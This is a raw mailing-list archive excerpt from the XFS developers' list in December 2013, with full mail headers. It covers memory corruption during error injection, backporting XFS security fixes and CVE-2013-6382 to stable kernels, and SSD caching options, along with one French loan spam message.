filesystem and >> rectify the problem(s) >> >> you can see here the garbage that XFS prints instead of the block device >> name. >> In [1] and [2] I am attaching more kernel log from two such crashes. > > So, something is corrupting memory and stamping all over the XFS > structures. > > What's error 125? > > #define ECANCELED 125 /* Operation Canceled */ > > I can't find an driver that actually returns that error to > filesystems, which.... > > >> kernel: [ 600.227881] Modules linked in: xfs raid1 xfrm_user >> xfrm4_tunnel tunnel4 ipcomp xfrm_ipcomp esp4 ah4 scst_vdisk(O) >> iscsi_scst(O) scst(O) dm_zcache(O) dm_btrfs(O) btrfs(O) libcrc32c >> dm_iostat(O) > > .... given you have a bunch of out of tree modules loaded (and some which > are experiemental) suggests that you have a problem with your > storage... > > So, something is corrupting memory across a large number of > subsystems, and the trigger is some custom code to run error > injection. Can you reproduce the problem with something like > dm-faulty? > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From gregkh@linuxfoundation.org Tue Dec 10 01:54:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 266DB7FAF for ; Tue, 10 Dec 2013 01:54:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E7D5C304043 for ; Mon, 9 Dec 2013 23:54:45 -0800 (PST) X-ASG-Debug-ID: 1386662084-04bdf01321175120001-NocioJ Received: from mail.linuxfoundation.org (mail.linuxfoundation.org [140.211.169.12]) by cuda.sgi.com with ESMTP id 5aGPuSZLNpDfYxYB for ; Mon, 09 Dec 2013 23:54:44 -0800 (PST) X-Barracuda-Envelope-From: gregkh@linuxfoundation.org X-Barracuda-Apparent-Source-IP: 140.211.169.12 Received: from localhost (p14195-ipngn3101hodogaya.kanagawa.ocn.ne.jp [153.171.143.195]) by mail.linuxfoundation.org (Postfix) with ESMTPSA id 50C3926; Tue, 10 Dec 2013 07:54:43 +0000 (UTC) Date: Mon, 9 Dec 2013 23:56:21 -0800 From: Greg KH To: Dave Chinner Cc: Josh Boyer , Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , xfs@oss.sgi.com, stable@vger.kernel.org Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131210075621.GA30135@kroah.com> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209235523.GW31386@dastard> User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: mail.linuxfoundation.org[140.211.169.12] X-Barracuda-Start-Time: 1386662084 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142981 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 10:55:23AM +1100, Dave Chinner wrote: > [cc xfs list, cc stable@vger.kernel.org] > > On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: > > On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques > > wrote: > > > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > > >> Hi, > > >> > > >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add > > >> capability check to free eofblocks ioctl") is a security fix that was > > >> never sent to -stable? From what I can see, it was introduced in 3.8 > > >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > > >> XFS_IOC_FREE_EOFBLOCKS ioctl"). > > >> > > >> I don't see this in the 3.8.y tree. Should it be added there and newer? > > > > > > Thanks Kees, I'm queuing it for the 3.11 kernel. > > > > There's also this one: > > > > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 > > > > It fixes CVE-2013-6382 > > First I've heard about it there being a CVE for that bug. Since when > has it been considered best practice to publish CVEs without first > (or ever) directly contacting the relevant upstream developers? > > But, regardless of how broken I think the CVE process is, commit > 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be > picked up by the stable kernels. I don't see that commit in Linus's tree, is it not there yet? thanks, greg k-h From eflorac@intellique.com Tue Dec 10 02:48:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6DE1D7FB9 for ; Tue, 10 Dec 2013 02:48:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0519AAC005 for ; Tue, 10 Dec 2013 00:48:15 -0800 (PST) X-ASG-Debug-ID: 1386665291-04cb6c537b66b1c0001-NocioJ Received: from smtp6-g21.free.fr (smtp6-g21.free.fr [212.27.42.6]) by cuda.sgi.com with ESMTP id R7khhA5OhTD0jE02 for ; Tue, 10 Dec 2013 00:48:12 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.6 Received: from galadriel.home (unknown [82.235.234.79]) by smtp6-g21.free.fr (Postfix) with ESMTP id 25045B0FA0; Tue, 10 Dec 2013 09:45:46 +0100 (CET) Date: Tue, 10 Dec 2013 09:45:33 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: Dave Chinner , Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131210094533.0e56e6be@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <52A68D08.8020505@hardwarefreak.com> References: <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> <52A61F3A.7040504@hardwarefreak.com> <20131209222131.GX10988@dastard> <20131209233028.27ee7154@galadriel.home> <52A68D08.8020505@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp6-g21.free.fr[212.27.42.6] X-Barracuda-Start-Time: 1386665291 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Mon, 09 Dec 2013 21:39:52 -0600 vous =C3=A9criviez: > > And now that we have enhance-io, bcache and friends, I'm actually > > more confident of using these than some sort of hidden > > pseudo-hardware magic. =20 >=20 > Enhance-IO is $295 per Linux server per year. Depends upon what you want, I'm using this one: https://github.com/stec-inc/EnhanceIO So far it seems to work very well. > Last I saw, Cleancache > isn't fully supported by XFS yet in a stable vanilla release. AFAIK > bcache isn't fully baked yet. Coupled with the fact that Mike seems > to be limited to the CentOS ecosystem, I figured CacheCade was his > best option at this time. It's been around a couple of years, works, > verified decent performance, and no additional kernel software is > required. And it's relatively easy to configure. Sure. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From kreditconso-com-371330@vtirufjg.info Tue Dec 10 04:17:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.8 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,MIME_HTML_MOSTLY,MPART_ALT_DIFF,T_KHOP_FOREIGN_CLICK, T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 03A227F63 for ; Tue, 10 Dec 2013 04:17:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB29D8F8033 for ; Tue, 10 Dec 2013 02:17:21 -0800 (PST) X-ASG-Debug-ID: 1386670634-04bdf0131b178d30001-NocioJ Received: from smtp587.vtirufjg.info (smtp587.vtrtyuiu.info [81.93.255.152]) by cuda.sgi.com with SMTP id bhDYodkoxobHTyCs for ; Tue, 10 Dec 2013 02:17:14 -0800 (PST) X-Barracuda-Envelope-From: kreditconso-com-371330@vtirufjg.info X-Barracuda-Apparent-Source-IP: 81.93.255.152 Date: Tue, 10 Dec 2013 11:17:14 +0100 To: "xfs@oss.sgi.com" From: "Kreditconso.com" Reply-To: "Kreditconso.com" Subject: =?iso-8859-15?Q?Cr=E9dit_en_ligne_sans_justificatifs._R=E9ponse_imm=E9dia?= =?iso-8859-15?Q?te.?= Message-ID: <15ba0da7e22318f2faa6d1332d01d4d3@localhost.localdomain> X-ASG-Orig-Subj: =?iso-8859-15?Q?Cr=E9dit_en_ligne_sans_justificatifs._R=E9ponse_imm=E9dia?= =?iso-8859-15?Q?te.?= Importance: normal List-Unsubscribe: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_15ba0da7e22318f2faa6d1332d01d4d3" X-Barracuda-Connect: smtp587.vtrtyuiu.info[81.93.255.152] X-Barracuda-Start-Time: 1386670634 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_CREDIT, HTML_IMAGE_RATIO_02, HTML_MESSAGE, MIME_HTML_MOSTLY, MPART_ALT_DIFF X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142983 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different --b1_15ba0da7e22318f2faa6d1332d01d4d3 Content-Type: text/plain; charset = "iso-8859-15" Content-Transfer-Encoding: 7bit --b1_15ba0da7e22318f2faa6d1332d01d4d3 Content-Type: text/html; charset = "iso-8859-15" Content-Transfer-Encoding: 7bit
Si ce message ne s'affiche pas correctement , cliquez ici
KreditConso.com
 
credit en ligne
credit en ligne
credit en ligne
credit en ligne
credit en ligne credit auto rachat de crdit credit immobilier
credit en ligne
#
#
 
Un crdit vous engage et doit tre rembours. Vrifiez vos capacits de remboursement avant de vous engager

Vous souhaitez vous désinscrire de cette liste ? Cliquez ici
--b1_15ba0da7e22318f2faa6d1332d01d4d3-- From jwboyer@gmail.com Tue Dec 10 07:15:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 356297F7E for ; Tue, 10 Dec 2013 07:15:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 18643304043 for ; Tue, 10 Dec 2013 05:15:34 -0800 (PST) X-ASG-Debug-ID: 1386681332-04cb6c537d672db0001-NocioJ Received: from mail-ob0-f176.google.com (mail-ob0-f176.google.com [209.85.214.176]) by cuda.sgi.com with ESMTP id fDsDD6FiNBGADAov (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 05:15:33 -0800 (PST) X-Barracuda-Envelope-From: jwboyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] Received: by mail-ob0-f176.google.com with SMTP id va2so5264640obc.35 for ; Tue, 10 Dec 2013 05:15:32 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=/fqwS9pGakJaz6dvX5rZKKX1WI4G9Lz0mRyr9MuP6z0=; b=VrDs2tp8n2ObV5omP0EPWrEylbtqjlhcXV9xOcqPN4B4DaBXa7MYfJwYoqxre/G/oJ b8eoSPvqbdUBUYNlgZT1OdVVFSN5tuZTwI9V70+bwpjIfcUCQ6Cn3iRgwD23w1AwJLnA 4ba+8NVHR8qZiS/aL6Hu1FxTj+vzoW0wf/qwR2eHSPrP+nk7ppL3SPxJduZy0WMoTiwO swbfANM4kRCmpp1wxl1b5SZFmlmTCn/MWBHO+W4RzxlzSRLPQ60eNZD+w9zy7ICVMkX6 wryE4U5GnUbNwNTZcom1bPcf1QpaSzTTyfM6HRU6z1k+1iTpu+lakBu6oL/wUlRhXowl T/kg== MIME-Version: 1.0 X-Received: by 10.182.247.68 with SMTP id yc4mr1273156obc.67.1386681332355; Tue, 10 Dec 2013 05:15:32 -0800 (PST) Sender: jwboyer@gmail.com Received: by 10.76.104.107 with HTTP; Tue, 10 Dec 2013 05:15:32 -0800 (PST) In-Reply-To: <20131210075621.GA30135@kroah.com> References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131210075621.GA30135@kroah.com> Date: Tue, 10 Dec 2013 08:15:32 -0500 X-Google-Sender-Auth: ImqXTsb3JZUZaS7FCmf48dptBe0 Message-ID: Subject: Re: XFS security fix never sent to -stable? From: Josh Boyer X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? To: Greg KH Cc: Dave Chinner , Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , xfs@oss.sgi.com, "stable@vger.kernel.org" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f176.google.com[209.85.214.176] X-Barracuda-Start-Time: 1386681332 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142986 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Dec 10, 2013 at 2:56 AM, Greg KH wrote: > On Tue, Dec 10, 2013 at 10:55:23AM +1100, Dave Chinner wrote: >> [cc xfs list, cc stable@vger.kernel.org] >> >> On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: >> > On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques >> > wrote: >> > > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: >> > >> Hi, >> > >> >> > >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add >> > >> capability check to free eofblocks ioctl") is a security fix that was >> > >> never sent to -stable? From what I can see, it was introduced in 3.8 >> > >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add >> > >> XFS_IOC_FREE_EOFBLOCKS ioctl"). >> > >> >> > >> I don't see this in the 3.8.y tree. Should it be added there and newer? >> > > >> > > Thanks Kees, I'm queuing it for the 3.11 kernel. >> > >> > There's also this one: >> > >> > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 >> > >> > It fixes CVE-2013-6382 >> >> First I've heard about it there being a CVE for that bug. Since when >> has it been considered best practice to publish CVEs without first >> (or ever) directly contacting the relevant upstream developers? >> >> But, regardless of how broken I think the CVE process is, commit >> 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be >> picked up by the stable kernels. > > I don't see that commit in Linus's tree, is it not there yet? Not yet. Ben said it's applied but I'm not sure where that is. josh From jwboyer@gmail.com Tue Dec 10 07:20:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 49ACF7F81 for ; Tue, 10 Dec 2013 07:20:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BE550AC002 for ; Tue, 10 Dec 2013 05:20:09 -0800 (PST) X-ASG-Debug-ID: 1386681607-04cbb0416967a250001-NocioJ Received: from mail-oa0-f44.google.com (mail-oa0-f44.google.com [209.85.219.44]) by cuda.sgi.com with ESMTP id dBsCdeNgpysnxQxB (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 05:20:07 -0800 (PST) X-Barracuda-Envelope-From: jwboyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.44] Received: by mail-oa0-f44.google.com with SMTP id m1so5496023oag.3 for ; Tue, 10 Dec 2013 05:20:07 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Ao6zASmJO+rKD0gMYWlF/0wZ7/h4sbzkfr8/TE/zJ+E=; b=ExNNcHx52Gtc3xH2k289q+VfQHn9wt96/g7h0cL3c0PEqcQGNqg59PTSooBeG0ebB+ sbSS7/muG+3IZRZijRU2v5oIeQAggm5HZtEwrVBPC+H07GWt2wNvFHagQLFqgmVzikXj 6Phc08m9AEOiZmv8A6buEosFxrWI5AXXcPjoH6pOifK9H2PPQGiq12+DqEzUj+FXD/ta GM6Ze656dtdg9o9Ib2GWmEQCKm1ZQtV599++YRoK1ObcwUOfeydu3xcVwCABuDB6A4G9 TcaawHxmQmZzpF8FAPF/FTWdeUQYD+JDqz+bIxXPnDG7z4CHDrxTGiM1Uccs8uT44Ddk 1D6g== MIME-Version: 1.0 X-Received: by 10.182.18.9 with SMTP id s9mr16667455obd.15.1386681607056; Tue, 10 Dec 2013 05:20:07 -0800 (PST) Sender: jwboyer@gmail.com Received: by 10.76.104.107 with HTTP; Tue, 10 Dec 2013 05:20:07 -0800 (PST) In-Reply-To: <20131209235523.GW31386@dastard> References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> Date: Tue, 10 Dec 2013 08:20:07 -0500 X-Google-Sender-Auth: qmDrjCYpWJPc9cvalVX2dvSJh_M Message-ID: Subject: Re: XFS security fix never sent to -stable? From: Josh Boyer X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? To: Dave Chinner Cc: Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f44.google.com[209.85.219.44] X-Barracuda-Start-Time: 1386681607 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142986 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Dec 9, 2013 at 6:55 PM, Dave Chinner wrote: > [cc xfs list, cc stable@vger.kernel.org] > > On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: >> On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques >> wrote: >> > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: >> >> Hi, >> >> >> >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add >> >> capability check to free eofblocks ioctl") is a security fix that was >> >> never sent to -stable? From what I can see, it was introduced in 3.8 >> >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add >> >> XFS_IOC_FREE_EOFBLOCKS ioctl"). >> >> >> >> I don't see this in the 3.8.y tree. Should it be added there and newer? >> > >> > Thanks Kees, I'm queuing it for the 3.11 kernel. >> >> There's also this one: >> >> http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 >> >> It fixes CVE-2013-6382 > > First I've heard about it there being a CVE for that bug. Since when > has it been considered best practice to publish CVEs without first > (or ever) directly contacting the relevant upstream developers? We got a Fedora bug for it, and there are similar RHEL bugs open. I had assumed you would be informed either via upstream or through those. The CVE request was submitted by Kees here: http://seclists.org/oss-sec/2013/q4/330 josh From sandeen@sandeen.net Tue Dec 10 08:32:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9B3187F8B for ; Tue, 10 Dec 2013 08:32:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7C576304032 for ; Tue, 10 Dec 2013 06:32:03 -0800 (PST) X-ASG-Debug-ID: 1386685922-04cb6c537e6752d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id NEBHeJyN4GJMuuMR for ; Tue, 10 Dec 2013 06:32:02 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2FA956A7A8B3; Tue, 10 Dec 2013 08:32:01 -0600 (CST) Message-ID: <52A725BB.8080602@sandeen.net> Date: Tue, 10 Dec 2013 08:31:23 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Josh Boyer , Greg KH CC: Luis Henriques , Brian Foster , Dave Chinner , Dwight Engen , LKML , "stable@vger.kernel.org" , xfs@oss.sgi.com, Ben Myers , Gao feng , Kees Cook Subject: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131210075621.GA30135@kroah.com> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1386685922 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142987 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/10/13, 7:15 AM, Josh Boyer wrote: > On Tue, Dec 10, 2013 at 2:56 AM, Greg KH wrote: >> On Tue, Dec 10, 2013 at 10:55:23AM +1100, Dave Chinner wrote: >>> [cc xfs list, cc stable@vger.kernel.org] >>> >>> On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: >>>> On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques >>>> wrote: >>>>> On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: >>>>>> Hi, >>>>>> >>>>>> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add >>>>>> capability check to free eofblocks ioctl") is a security fix that was >>>>>> never sent to -stable? From what I can see, it was introduced in 3.8 >>>>>> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add >>>>>> XFS_IOC_FREE_EOFBLOCKS ioctl"). >>>>>> >>>>>> I don't see this in the 3.8.y tree. Should it be added there and newer? >>>>> >>>>> Thanks Kees, I'm queuing it for the 3.11 kernel. >>>> >>>> There's also this one: >>>> >>>> http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 >>>> >>>> It fixes CVE-2013-6382 >>> >>> First I've heard about it there being a CVE for that bug. Since when >>> has it been considered best practice to publish CVEs without first >>> (or ever) directly contacting the relevant upstream developers? >>> >>> But, regardless of how broken I think the CVE process is, commit >>> 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be >>> picked up by the stable kernels. >> >> I don't see that commit in Linus's tree, is it not there yet? > > Not yet. Ben said it's applied but I'm not sure where that is. xfs git tree: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=commitdiff;h=071c529eb672648ee8ca3f90944bcbcc730b4c06 -Eric > josh From stanislav.kholmanskikh@oracle.com Tue Dec 10 08:44:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3FCB17F92 for ; Tue, 10 Dec 2013 08:44:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 086058F804B for ; Tue, 10 Dec 2013 06:44:29 -0800 (PST) X-ASG-Debug-ID: 1386686668-04cb6c537d675970001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id AuLBiSwsGb1PEdV4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 06:44:28 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBAEhuhY026688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 10 Dec 2013 14:43:57 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBAEhsRv017763 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 14:43:55 GMT Received: from abhmp0005.oracle.com 